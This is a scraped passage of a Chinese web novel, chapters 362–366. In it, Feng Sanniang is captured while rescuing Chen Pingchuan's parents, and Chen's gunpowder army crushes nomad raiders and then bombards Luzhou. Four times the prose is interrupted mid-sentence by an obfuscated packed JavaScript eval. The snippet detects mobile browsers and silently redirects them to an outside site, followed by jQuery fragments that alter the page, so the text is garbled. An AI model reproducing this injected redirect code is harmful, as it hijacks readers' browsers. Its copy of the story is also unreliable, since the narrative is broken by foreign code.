一瓢冷水泼在铁牛脸上,他悠悠转醒,一睁眼看到凤三娘,这个七尺高的汉子顿时虎目含泪,捶地痛哭:“大当家!我对不起你!军师的爹娘……他们被官兵抓走了!” 铁牛挣扎着爬起来,双眼通红,如同受伤的野兽般咆哮道:“我要去庐州府!杀了那帮狗官,救回夫人和老爷!” “胡闹!” 凤三娘一把按住他,冷声喝止,“庐州城墙高池深,守军数千,我们山寨这点人马,冲过去就是送死!你现在去,除了白白搭上性命,还能做什么?” 铁牛闻言,一拳砸在地上,发出不甘的怒吼。 凤三娘强压下心中的悲痛与愤怒,沉声道:“把弟兄们的尸体带上,我们先回山寨!这个仇,我们一定要报,但不是现在!必须从长计议!” 黑风寨聚义厅内,灯火通明,气氛十分压抑。 凤三娘端坐首位,脸色冰冷。 铁牛包扎着伤口,拳头捏得咯咯作响。 一旁的哑巴叔眉头紧锁,不住地唉声叹气。 “大当家,你说句话啊!到底怎么办?”铁牛终于忍不住了,闷声问道。 凤三娘揉了揉眉心,疲惫地说道:“强攻庐州府,绝无可能。潜入城中救人?庐王府必定守卫森严,人海茫茫,我们连人被关在哪里都不知道,怎么救?” 众人你一言我一语,商议了半天,却始终想不出一个万全之策。 劫狱的风险太大,投鼠忌器,一旦失败,陈氏夫妇必死无疑。 众人一筹莫展,聚义厅内陷入了一片死寂,只剩下沉重的呼吸声和偶尔的叹息。 就在这时,一个喽啰飞奔而来,手里拿着一支箭。 “大当家!山门外发现这个!” 凤三娘接过箭,只见箭杆上,绑着一封信。 她迅速拆开,信上写着: “黑风寨大当家凤三娘亲启:汝寨中陈氏夫妇,现已在我庐王手中。识相的,明日午时之前,你亲自下山,开城投降。否则,便在城头之上,看那两个老东西,如何被千刀万剐,祭我庐州大旗!” 落款是:庐王李汶洛。 第362章 我的人也敢动?给我杀无赦! “李汶洛!你找死!!” 凤三娘看完信,气得浑身发抖,一把将信纸捏成了碎片! 聚义厅里,山寨头目们,瞬间炸开了锅。 “**!李汶洛这个狗贼!敢动我们军师的爹娘!” “大当家!下令吧!我们跟他拼了!” “对!杀下山去!踏平庐州府,救出老爷和夫人!” 群情激奋,喊杀声震天。 张静姝和张若素也赶了过来,两人得知陈平川父母被抓,都吓得花容失色。 “三娘姐姐,怎么办?婶子和叔叔他们……”张静姝急得快哭了。 凤三娘强迫自己冷静下来。她知道,李汶洛既然敢这么做,必然在山下布下了天罗地网,等着他们去钻。 现在冲下山,无异于以卵击石。 可是,陈平川的父母,绝对不能出事! 她脑中飞速地思索着对策。 硬拼,不行。 求和,更不可能。 唯一的办法,只有……智取。 她的目光变得冰冷,也异常坚定。 她环视了一圈吵嚷的众人,猛地一拍桌子! “安静!” 清冷威严的声音,瞬间让所有人都闭上了嘴。 “铁牛受伤,罗叔和婶子被抓,我们现在绝不能自乱阵脚!” 凤三娘看着众人,一字一句地说道:“从现在起,全寨进入最高戒备!守好山门,任何人都不得擅自下山!违令者,斩!” “大当家,那……那军师的爹娘咋办啊?”铁牛焦急地问。 凤三娘的目光,扫过每一个人的脸,最后,她缓缓说道: “你们的任务,就是守好黑风寨,守好我们的家。等着平川回来。” “至于救人的事……” 她凤目一凛,透出一股坚决。 “我亲自去。” 她知道庐州城现在是龙潭虎穴,可是,她不能眼睁睁看着陈平川的父母被害! “大当家不可!”众**惊失色。 “这是命令!”凤三娘的声音斩钉截铁,“李汶洛要的是我。我去,罗叔和婶子才能活。你们守好家,就是对我最大的帮助。” 说完,她不再理会众人的劝阻,转身走进了自己的房间。 夜,渐渐深了。 一道黑色的身影,如同一只夜行的狸猫,悄无声息地来到了山寨后山的悬崖边。 她回头,深深地望了一眼灯火闪烁的山寨,眼中闪过一丝决绝。 然后,她抓住一根早已准备好的长绳,纵身一跃,消失在茫茫的夜色之中。 …… 夜色如墨,伸手不见五指。 凤三娘的身影,如同鬼魅,悄无声息地穿行在庐州城外的田埂与树林之间。 她没有走大路,而是选择了一条极其偏僻的小径。她的步伐轻盈而又迅速,对周围的地形了如指掌,这都是当年她和陈平川一起,为了黑风寨的生意,跑遍了庐州周边每一寸土地的结果。 不到一个时辰,高大巍峨的庐州城墙,已经遥遥在望。 城墙之上,火把林立,巡逻的士兵来回走动,戒备比往日森严了十倍不止。 凤三娘停下脚步,藏身在一片灌木丛后,冷静地观察着。 心里计算着士兵巡逻的时间间隔。 她绕着城墙,悄悄地走了一段路,最后,目光锁定在了一处相对偏僻的城墙角落。 那里,有一棵巨大的老槐树,茂密的枝叶,几乎要搭到城墙的墙头。而且,那一段的城墙下方,是一条早已干涸的护城河,堆满了各种垃圾和杂草,巡逻的士兵很少会走到那边。 就是这里了。 她深吸一口气,从背上解下一卷细长的飞爪绳索。 退后几步,凤三娘手臂猛地一甩,那带着铁爪的绳索,便如同有了生命一般,悄无声息地飞出,越过十几丈的距离,精准地勾住了老槐树一根粗壮的树杈。 她用力拽了拽,确认牢固之后,便手脚并用,如同一只灵巧的猿猴,迅速地攀上了大树。 借着茂密枝叶的掩护,她悄无声息地爬到了靠近城墙的位置,然后,一个轻盈的纵跃,稳稳地落在了城墙的内侧。 整个过程,行云流水,没有发出一丝多余的声响。 成功潜入! 凤三娘没有片刻停留,她辨认了一下方向,便朝着知府衙门的方向潜行而去。 李汶洛既然抓了人,必然会关在守卫最森严的知府衙门。 一路上,她避开了数队巡逻的士兵,凭借着对庐州城街道的熟悉,很快就来到了知府衙门的高墙之外。 衙门内外,三步一岗,五步一哨,火把将整个衙门照得如同白昼。 凤三娘伏在对面的屋顶上,像一尊没有生命的雕像,耐心地观察着衙门内的布防。 她看到,大部分的兵力,都集中在前院和通往大牢的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349226|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后院,则相对松懈一些。 她猜想,李汶洛为了方便控制和审问,很可能没有将罗氏夫妇关进阴暗潮湿的大牢,而是软禁在后院的某个房间里。 打定主意后,她等待着巡逻队换防的间隙,身影一闪,如同飘落的叶子,悄无声息地翻进了后院。 后院很大,有好几排厢房。凤三娘屏住呼吸,挨个房间地探查。 终于,在一间亮着灯的厢房外,她听到了里面传来了罗氏压抑的哭泣声,和陈仲和低声的安慰。 “都怪我……都怪我啊……要是我听三娘和静姝她们的话,就不会害了铁牛,也不会连累你……” “别说了,事已至此,说这些也没用了。只希望平川他……不要冲动……” 就是这里! 凤三娘心中一喜,但她没有立刻行动。而是仔细观察了一下,发现这间房子的外面,守着四个士兵,两人守在门口,另外两人则在几步外的廊下靠着柱子,看起来有些松懈。 必须速战速决! 她从腰间摸出几枚石子,朝着院子另一头的马厩方向,屈指一弹。 “啪嗒!” 几声轻响,在寂静的夜里格外清晰。 “什么声音?”守在屋外的士兵立刻警觉起来,提着刀走了过去。 就在他们离开岗位的瞬间,凤三娘动了! 她的身影快如闪电,瞬间欺近房门外的剩余两个士兵。没等他们反应过来,她的手刀已经精准地劈在了两人的后颈上。 两人连哼都没哼一声,便软软地倒了下去。 凤三娘推开房门,闪身而入。 “谁?!”屋里的罗氏和陈仲和吓了一跳。 “叔叔,婶子,是我!”凤三娘压低声音。 “三娘?!”罗氏夫妇又惊又喜,简直不敢相信自己的眼睛,“你……你怎么来了?!” “别说了,快跟我走!”凤三娘来不及解释,迅速解开他们身上的绳子。 “不行!三娘,你快走!这里是龙潭虎穴,你一个人……”罗氏急道。 “要走一起走!”凤三娘不容分说,拉起他们就往外走。 然而,他们刚刚踏出房门,院子里突然响起了刺耳的锣声! “抓刺客!有刺客!” 紧接着,四面八方的火把,如同潮水一般,朝着后院涌了过来!无数士兵从各个角落里冒了出来,将整个后院围得水泄不通! 第363章 致命的圈套,无悔的抉择 一个得意的声音,在人群后响起。 “哈哈哈!凤三娘,你果然来了!本王等你很久了!” 李汶洛在一群亲兵的簇拥下,摇着扇子,得意洋洋地走了出来,他身边,还站着那个阴险的谋士徐佑。 “狗官!”凤三娘脸色一沉,将罗氏夫妇护在身后,拔出了长剑。 原来,马厩那边的响动,根本就是徐佑故意设下的一个圈套,就是为了引她现身! “凤三娘,你武功再高,能打得过我这上千的士兵吗?”李汶洛狞笑道,“我劝你还是乖乖放下武器,束手就擒!否则,不但你要死,这两个老东西,也得给你陪葬!” 凤三娘环顾四周,心沉到了谷底。 到处都是人,到处都是明晃晃的刀枪,弓箭,插翅难飞。 “三娘,你别管我们!你自己冲出去!”罗氏大喊道。 凤三娘没有说话,只是握紧了手中的剑。 让她抛下陈平川的父母独自逃生,她做不到。 就在这千钧一发之际,凤三娘突然注意到,院子的西侧,有一堵墙相对低矮,墙外似乎是一条僻静的小巷。 她心中瞬间有了决断。 “叔叔,婶子,抓紧我!”她低喝一声。 随即,她猛地从怀里掏出几个黑乎乎的圆球,点燃引线,朝着人群最密集的地方,用力扔了过去! “危险!”有识货的士兵惊呼出声。 李汶洛也吓了一跳,连忙后退。 “轰!轰!轰!” 几声巨响,浓烈的烟雾瞬间弥漫开来,呛得官兵们咳嗽不止,阵型大乱。 “走!” 趁着这个机会,凤三娘一手一个,架起罗氏夫妇,施展轻功,朝着西墙的方向,猛地冲了过去! 她的速度极快,几个起落,就冲到了墙边。 她将罗氏夫妇用力往墙头上一抛,自己则垫后,挥剑挡开追上来的几名士兵。 然而,就在她准备跟着翻墙而出的时候,一支箭矢,猛地射中了她的后背! 凤三娘闷哼一声差点摔倒,但她咬牙坚持,用力跃上墙头,又带着罗氏夫妇跳下去。 做完这一切,凤三娘已经精疲力尽,后背的衣裳被鲜血浸透。 “三娘!”罗氏发现凤三娘后背插着箭矢,顿时大惊失色,哭喊出声。 凤三娘强打精神,推开陈仲和夫妇,喊道:“快走!别管我!” 就是这片刻的耽搁,数十名官兵已经向这边追来。 凤三娘以重伤之躯,独战数十名官兵,终因体力不支,流血过多,在砍翻了七八人后,被一拥而上的官兵用**和绳网制住,动弹不得。 “哈哈哈!抓住了!”李汶洛兴奋地大叫,“凤三娘!你终究还是落在了我的手里!” 罗氏和陈仲和回头望去,罗氏哭得撕心裂肺:“三娘!三娘!” “他娘,别哭了!我们得快走,把消息告诉平川,不然三娘就白白牺牲了!” 陈仲和强忍着心中的悲愤,硬是半拖半拽地拉着老妻,二人含泪回头望了一眼,最终还是咬着牙,向着黑风寨的方向逃去报信。 …… 滚滚烟尘,遮天蔽日。 陈平川率领的八千精锐,正以一种惊人的速度,向着庐州的方向狂飙突进。 所有士兵的脸上,都带着风霜和疲惫,但他们的眼神,却像出鞘的利刃,充满了昂扬的战意和森然的杀气。 他们都知道,将军的家人,正面临着巨大的危险。 “报——!” 一名负责侦查的破风骑斥候,从前方飞驰而来,在陈平川马前勒住缰绳。 “将军!前方十里,发现蛮族骑兵!约三千人,正在一个叫‘李家村’的村子外安营扎寨,似乎在……在屠村!” “什么?!”陈平川身后的秦锋怒目圆睁,“这帮畜生!” 陈平川的脸色,瞬间冷得像一块万年玄冰。 他没有丝毫犹豫,马鞭一指,声音里不带一丝感情:“秦锋!” “末将在!” “你率三千破风骑,从左翼包抄!用上我们的新玩意儿,不用节约**箭,三轮齐射,我要让这群杂碎连人带马,都烂在冲锋的路上!” “是!”秦锋领命,带着三千骑兵,如同一阵黑色的旋风,脱离大队,从侧翼迂回而去。 “石头!” “俺在!”石头催马上前,巨大的身躯充满了压迫感。 “你率五千破虏军,正面推进!一千米距离,自由射击!我要你用你手里的火铳告诉他们,什么叫来自地狱的咆哮!” “得嘞!将军您就瞧好吧!”石头兴奋地吼了一声,带着步兵方阵,开始稳步向前。 李家村外,一片人间地狱的景象。 三千蛮族骑兵烧毁了村庄,将抢来的女人和财物堆在营地里,肆意狂欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349227|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人的尸体被随意丢弃,孩子的哭声和女人的尖叫声混杂在一起,令人闻之愤慨,落泪。 他们的主将,一个名叫“博尔忽”的万夫长,正搂着两个抢来的民女,大口喝着酒,放声狂笑。 在他看来,中原的军队都是一群绵羊,不堪一击。 这次南下,不过是一场轻松的武装**。 “将军!有情况!”一个蛮族哨兵跑了过来,“南边发现大批汉人军队!” “慌什么!”博尔忽放下酒碗,醉醺醺地站起身,“中原的懦夫,来多少杀多少!儿郎们,上马!让他们见识见识我们草原勇士的厉害!” 蛮族骑兵们纷纷上马,发出野兽般的嚎叫,准备迎接他们眼中又一场轻松的**。 然而,他们即将面对的,是一支他们从未想象过的军队。 就在他们刚刚集结好队伍,准备发起冲锋的时候,左翼的地平线上,突然出现了一片黑色的潮水! 是秦锋率领的破风骑! “放箭!”博尔忽不屑地一挥手。 蛮族的弓箭手立刻弯弓搭箭,稀稀拉拉的箭雨朝着破风骑飞去。 但让他们惊骇的是,对方根本没有躲避的意思,反而加快了速度!而且,他们手中的武器,很奇怪,是一种小巧的**。 就在双方距离不到三百步的时候,秦锋下达了命令。 “射!” “嗡——!” 一声整齐到令人头皮发麻的弓弦震响! 三千支闪着寒光的**箭,瞬间组成了一片死亡的阴云,劈头盖脸地罩向了蛮族骑兵的阵型! 这还不是结束! 没等蛮族骑兵从第一波打击中反应过来,第二波、第三波箭雨,接踵而至! 三****,这种由陈平川麾下工匠营最新研发的利器,第一次在战场上露出了它狰狞的獠牙! 密集的箭雨,如同死神的镰刀,疯狂地收割着生命。 蛮族骑兵引以为傲的骑射,在破风骑这种不讲道理的饱和式打击面前,简直就像个笑话! 一个照面,蛮族的前军就倒下了近千人! 个个插满了箭矢,人仰马翻,惨叫连连! 博尔忽惊呆了! 这是什么武器?!怎么可能射得这么快?! 更要命的是,竟然还能连续射击! 就在他惊骇欲绝的时候,正面,传来了更让他恐惧的声音。 第364章 铁骑踏破蛮族胆,怒火烧遍庐州城 “砰!砰!砰!砰!” 一阵阵沉闷而又密集的,如同炒豆子般的巨响,连绵不绝地响起! 只见陈平川的步兵方阵,已经推进到了一千米之内。 他们排成三列,第一列的士兵半跪在地,手中的火铳喷射出致命的火焰和浓烟。 射击完毕后,他们立刻退到最后一列,开始装填**,而第二列的士兵则上前一步,继续射击。 周而复始,形成了一道永不停歇的钢铁弹幕! **,呼啸着,撕裂空气,钻进蛮族骑兵的身体。 无论是多-么坚固的皮甲,在这种近距离的攒射下,都如同纸糊的一般。 冲在最前面的蛮族骑-兵,像被割倒的麦子一样,成片成片地倒下。 他们的勇气,他们的悍勇,在绝对的技术代差面前,显得是那么的苍白无力。 “长生天啊!这是魔鬼的武器!” 一个蛮族士兵扔掉武器,掉头就跑。 恐慌,如同瘟疫一般,迅速蔓延开来。 整个蛮族阵线,崩溃了! “不准退!谁退我杀了谁!”博尔忽挥舞着弯刀,疯狂地**着后退的士兵,试图稳住阵脚。 但已经没用了。 “杀!” 秦锋率领破风骑,从侧翼狠狠地凿穿了他们的阵型,将他们分割包围。 石头则带着破虏军,换上长矛,发起了最后的冲锋。 战斗,变成了一边倒的**。 不到半个时辰,三千不可一世的蛮族精锐骑兵,被全歼! 博尔忽被石头一锤砸下马,活活踩死。 硝烟弥漫的战场上,陈平川的士兵们,面无表情地清理着战场,补着刀,救治着那些被掳掠的百姓。 陈平川骑在马上,冷冷地看着这一切。他的心中,没有丝毫胜利的喜悦。 蛮族的军队解决了,但真正的敌人,还在庐州城里。 “主公,蛮族统领带着十几个人向庐州府方向逃了!” 秦锋策马来到陈平川面前,拱手报告。 “无妨,一群丧家之犬,掀不起什么风浪。” 陈平川摆摆手:“传令下去,全军原地休整,埋锅造饭!斥候营加强警戒,方圆十里,一只苍蝇也不许飞过去!” 另一边,那名逃走的蛮族统领带着十几个残兵,如同丧家之犬,一路狂奔,竟是摸到了黑风寨的山脚下。还没等他们歇口气,就被寨中的铁牛和哑巴叔带人围了个正着。经过一番审问,当铁牛和哑巴叔听说,这群不可一世的蛮子竟是被陈平川打得落花流水时,顿时喜出望外。两人一合计,立刻将这些俘虏捆结实了,当作战利品,马不停蹄地赶来向陈平川报喜。 陈平川正在营帐内与秦锋、王奎等将领商议着接下来的攻城事宜,忽然听到远处传来一阵马蹄声,几个人影,正朝着这边狂奔而来。 “军师!是你吗?军师!” 为首一人,身材魁梧,正是黑风寨的二当家铁牛!只是他此刻缠着绑带,脸色苍白。 他看到陈平川,就像看到了救星,翻身下马,“扑通”一声跪倒在地,嚎啕大哭。 “军师!俺对不起你!俺没用啊!” 陈平川的心,猛地揪紧了。 他翻身下马,一把扶起铁牛,急切地问道:“出什么事了?快说!” 铁牛泣不成声,断断续续地将事情的经过,说了一遍。 从收到家书,到罗氏执意下山,再到遭遇埋伏,最后,凤三娘为了救人,孤身闯入庐州,反被李汶洛擒获…… “……大当家她……她是为了救老爷和夫人,才被李汶洛那个狗贼抓住的!军师!你快去救救她吧!!” 铁牛的话,像一柄柄重锤,狠狠地砸在陈平川的心上。 一股难以形容的狂怒和自责,瞬间席卷了他的全身。 他最担心的事情,还是发生了! 而且,是因为他那些所谓的“亲人”! 他的周围,空气仿佛都凝固了。所有的士兵,都能感受到从他们将军身上散发出的,那股足以将天地都冻结的恐怖杀意。 陈平川缓缓地抬起头,望向庐州城的方向。 他的双眼,一片赤红。 “李……汶……洛……” 三个字,从陈平川的牙缝里一个一个地挤出来,每个字都带着刺骨的寒意。 他身边的秦锋和石头,甚至都忍不住打了个寒颤。他们从未见过将军如此模样,那不是单纯的愤怒,而是一种混杂着悔恨、心痛和暴戾的,即将毁灭一切的疯狂。 不过,陈平川不是一般人,他很快就调整好情绪,将怒火压在心底。 他知道,身为一军统帅,绝对不能感情用事,否则只会正中敌人下怀,将所有人都置于死地。 “铁牛,别哭了,我们先回黑风寨。” 一声令下,大军立刻开拔,返回黑风寨。 此刻的黑风寨,早已是人声鼎沸。 得知陈平川大破蛮族主力,山寨里的百姓扶老携幼,自发地站满了山道两旁,一张张饱经风霜的脸上写满了激动与感激,欢呼声此起彼伏。 然而,被众人簇拥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354587|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陈平川却无心享受这份荣光,他面色冷峻,翻身下马,将缰绳扔给亲兵,便径直朝着聚义厅大步走去。 他步履匆匆,表情沉重。 刚踏入聚义厅的门槛,迎面便看到父亲陈仲和与母亲罗氏在陈平玉、张静姝和张若素等人的搀扶下,正满脸泪痕地迎了上来。 “爹!娘!”陈平川一个箭步冲了上去,随后扑通一声跪倒在二老面前:“孩儿不孝,让爹娘受惊了!” “平川!我的儿啊!” 罗氏一看到儿子,将陈平川搂在怀里,放声大哭。 “是娘不好!是娘没用啊!娘不该不听话,害了三娘!她是为了救我们……她才被李汶洛那个畜生抓住的!儿啊,你快去救救她,快去救救她啊!” 罗氏捶打着自己的胸口,悔恨交加,哭得几乎要晕厥过去。 陈仲和也在一旁老泪纵横,说不出一句完整的话。 “娘,您别说了,不怪您。”陈平川紧紧地抱着自己母亲,声音沙哑。 他知道,这不是母亲的错。是李汶洛太阴险,是桃花村那帮极品亲戚,太不是东西! 他轻轻拍着母亲的后背,将她交给旁边的张静姝等人照顾好。 然后,他缓缓地站直了身体,那张俊朗的脸上,所有的温情都已褪去,只剩下如万年寒冰般的冷酷。 他的目光,越过所有人的头顶,死死地盯在远方那座若隐若现的城池轮廓上。 “玲儿。” 他轻轻地唤了一声。 一道纤细的身影,如同鬼魅一般,无声无息地出现在他身后。 “主公。”玲儿单膝跪地,声音清冷。 “我给你一夜的时间。”陈平川的声音平静得可怕,“带上你的人,潜入庐州城。把凤三娘,给我完好无损地带出来。” 他的语气顿了顿,补充道:“不惜一切代价。” “如果事不可为,无法将人救出,就放这个。”他从怀里掏出一个小巧的,红色的信号烟火,递给玲儿。 “主公放心。”玲儿接过信号烟火,没有多问一句,身影一晃,便带着她手下的几名“暗影”,如同几滴墨水融入黑夜,瞬间消失不见。 “秦锋!石头!” “在!” “全军开拔!兵临城下!把我们所有的‘开山’重炮和‘神威’大炮都给我架起来!将庐州城,给我围个水泄不通!” “是!” 大军再次开动,这一次,不再是急行军,而是带着一种沉重如山的压迫感,一步一步地,向着庐州城碾压过去。 第365章 暗影无功烟花泣,雷霆万钧炮火鸣 夜,深沉如水。 庐州知府衙门,地牢。 这里比后院的厢房,更加阴森潮湿。凤三娘被一条粗大的铁链锁住了琵琶骨,穿心而过的剧痛让她脸色苍白,但她的眼神,依旧清冷而倔强。 李汶洛和徐佑,站在牢门外,得意地看着她。 “凤三娘,滋味如何啊?”李汶洛摇着扇子,笑得像只偷了腥的猫,“我劝你还是别白费力气了。这穿骨链,就算是宗师高手也挣脱不开。你还是乖乖等着,看本王怎么降服陈平川吧。” 凤三娘冷冷地看了他一眼,闭上眼睛,懒得再多说一个字。 离开地牢,徐佑在旁边遗憾说道:“可惜了,让陈平川的父母逃走,只抓住一个女匪首,用处有限。” “不不不,”李汶洛却笑着,摇了摇头,“先生此言差矣。坊间传闻,那陈平川生性风流,到处沾花惹草,这凤三娘就是他的姘头之一。” “只要我们将她悬于城头,昭告全军,到时候,陈平川一定会投鼠忌器,不敢再轻举妄动。” 徐佑想了想,也觉得有理,便不再多言。 就在这时,地牢的入口处,突然传来几声轻微的闷哼。 “什么人?”李汶洛警觉地喝道。 话音未落,几道黑影,已经如同幽灵般,从黑暗的甬道中扑了出来! 他们的速度快得不可思议,手中的**在火光下闪烁着致命的寒光,直取李汶洛和徐佑的要害! 是玲儿和她的“暗影”小队! “护驾!有刺客!”李汶洛身边的亲兵反应也极快,立刻拔刀迎了上去。 狭窄的地牢甬道里,瞬间爆发了激烈而又无声的厮杀! “暗影”的成员,个个都是顶尖的刺客,他们的招式,没有任何花哨,招招致命!**、短剑、袖箭……各种淬毒的武器,在方寸之间,带起一蓬蓬血花。 李汶洛的亲兵,也都是百里挑一的好手,他们结成战阵,死死地护在李汶洛身前。 玲儿的目标很明确,就是凤三娘。 她避开正面的战斗,身影一晃,如同一缕青烟,绕到了牢房的侧面,手中弹出一柄特制的短刃,精准地插入大锁的锁芯,只听“咔哒”一声,牢门应声而开! 她闪身进入牢房,来到凤三娘身边,急声道:“大当家,主公派我来救你!” 玲儿冲到凤三娘跟前,当她看到那条狰狞的铁链竟是直接穿透了凤三娘的琵琶骨时,一双美目瞬间赤红,怒火与杀意几欲喷薄而出! 如此酷刑,简直惨无人道! 剧烈的疼痛让凤三娘连站立都困难,更别提突围了。 这穿骨链嵌在血肉里,根本无法在短时间内取出! “大当家!”玲儿心急如焚,却又束手无策。 抛下大当家独自逃生,她万万做不到! 一咬牙,玲儿抽出佩刀,用尽全力“哐当”一声斩断了连接墙壁的铁链,架起凤三娘虚弱的身体:“走!我带你杀出去!” 凤三娘疼得浑身冷汗,她深知自己如今就是个累赘,只会拖累所有人,她用力推开玲儿,低喝道:“别管我!你们快走,我走不了!” “不行!”玲儿倔强地再次扶住她,拖着她往外冲。 然而,她们终究是慢了一步,大批的卫兵已经闻声赶到,将狭窄的甬道堵得水泄不通,明晃晃的刀枪对准了她们,彻底断绝了突围的希望。 “快走!”凤三娘急道:“回去告诉陈平川,我三娘就是死,也绝不会给他丢人!” “不行,我不会丢下你!”玲儿态度坚决,如果她空手回去,无法向主公交代。 突然,凤三娘猛地推开她,捡起一把长刀架在自己的脖子上:“你再不走,我就死在这里!” “三娘!” 玲儿咬着牙,身边的同伴伤亡惨重,这次救援已经失败,再不走,她们一个都活不了。 “我们会回来救你的!” 玲儿含泪带人突围,好不容易冲出府衙,她从怀里掏出那个红色的信号烟火,拉开了引信! “咻——!” 一道尖锐的呼啸声响起,那道红色的光芒,穿过知府衙门的上空,在漆黑的夜空中,炸开一朵凄厉的血色烟花! 庐州城外,陈平川的中军大帐里。 他正坐在沙盘前,一夜未眠。 当那朵血色的烟花,在夜空中绽放的瞬间,他猛地抬起了头。 那双布满血丝的眼睛,瞬间被无尽的黑暗和杀戮所吞噬。 他缓缓地站起身,走出大帐。 看着那朵正在消散的血色烟花,他的脸上,没有任何表情。 “失败了……哼!” 他转过身,对着传令兵,下达了冰冷的命令。 “传我将令。” “全军,准备攻城。” 之前,陈平川也考虑过直接攻城。 但,这样一来,庐州府就会化为一片废墟,百姓必然生灵涂炭。 而且,万一将李汶洛逼得狗急跳墙,杀害了凤三娘,陈平川无法原谅自己。 所以他才决定,先让暗影出手救人,如果能成功,后面的事情就好办了。 可惜,代表着计划失败的血色烟花,彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354588|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底击碎了他最后的耐心。 凤三娘落入敌手,生死未卜,每拖延一刻,她便多一分危险。 此刻,任何计谋都已显得苍白无力,唯有以雷霆万钧之势,用最绝对的力量,碾碎城墙,碾碎敌人,才能为她博得一线生机,才能洗刷这份耻辱! …… 黎明,天色未亮,但庐州城外,却已经是杀气冲天。 数万大军,如同沉默的钢铁森林,将整座城池围得密不透风。 十几门黑洞洞的炮口,已经对准了庐州城那看似坚固的城墙,炮手们站在炮边,只等一声令下,便能将这座古老的城池,化为一片火海。 陈平川没有像其他将领一样,安坐于中军帐中指挥。 他穿上了一身漆黑的铁甲,亲自来到了阵前。 在他的身后,站着两百名同样身穿黑甲,眼神冷漠,仿佛没有感情的士兵。 他们是陈平川从全军中,挑选出的最悍不畏死的勇士,组成的“破城死士营”。 每个人的背上,都背着一个沉甸甸的,用油布包裹的包裹。里面装的,是足以将城门炸成碎片的猛**。 他们的任务只有一个,用自己的血肉之躯,为大军,炸开一条通往胜利的道路。 “将军,一切准备就绪。”秦锋来到陈平川身边,沉声说道。 陈平川点了点头,没有说话,只是拔出了腰间的长刀。 他没有做任何战前动员,也没有喊任何鼓舞士气的口号。 他只是转过身,用那双燃烧着复仇火焰的眼睛,看着身后的两百名死士。 然后,他举起了手中的刀。 “第一轮,炮火急袭!目标,城头守军!” “开炮!!” 随着他一声令下,早已等得不耐烦的炮兵指挥官,猛地挥下了手中的令旗! “轰——!轰隆隆——!” 震耳欲聋的轰鸣声,瞬间撕裂了黎明的宁静! 大地在颤抖,天空在咆哮! 烧得通红的实心炮弹,拖着长长的尾焰,如同流星火雨一般,划破长空,狠狠地砸向了庐州城的城头! 城墙上的李汶洛守军,哪里见过这等阵仗! 他们还停留在弓箭和滚木擂石的战争年代,面对这种毁天灭地般的降维打击,瞬间就崩溃了! 坚硬的城砖被轻易地砸得粉碎,女墙和箭垛在**中被掀飞,城头上的士兵,还没反应过来,就被巨大的冲击力撕成了碎片! 惨叫声,哀嚎声,被淹没在连绵不绝的炮火轰鸣之中。 整个庐州城头,瞬间变成了人间炼狱。 第366章 我,不做你的绊脚石 李汶洛躲在城楼里,吓得瑟瑟发抖,面无人色。他以为自己的城墙固若金汤,却没想到,在陈平川的炮火面前,竟如同纸糊的一般! “顶住!给我顶住!”他声嘶力竭地吼叫着,但根本没人听他的。 士兵们已经吓破了胆,抱头鼠窜,只恨爹娘少生了两条腿。 就在城头乱作一团的时候,陈平川的刀,再次挥下! “死士营!冲锋!!” “杀!!” 两百死士,如同一支离弦的黑箭,朝着那正在被炮火蹂躏的城门,发起了决死冲锋! 他们发出震天的怒吼,每个人的脸上,都带着一种奔赴死亡的狂热! “放箭!放箭!”城头上有军官在徒劳地嘶吼。 稀稀拉拉的箭矢,从城头射下,但对于这些身披重甲的死士来说,根本不痛不痒。 他们顶着炮火和箭雨,踩着同伴的尸体,义无反顾地向前!向前! 五十步! 三十步! 十步! 他们冲到了城门之下! “放!”队长怒吼一声。 死士们立刻将背上的猛**包,堆放在厚重的城门之下,点燃了引线。 “撤!” 完成任务的死士们,迅速向后撤退。 就在此时,一声惊天动地的巨响,爆发了! “轰隆——!!” 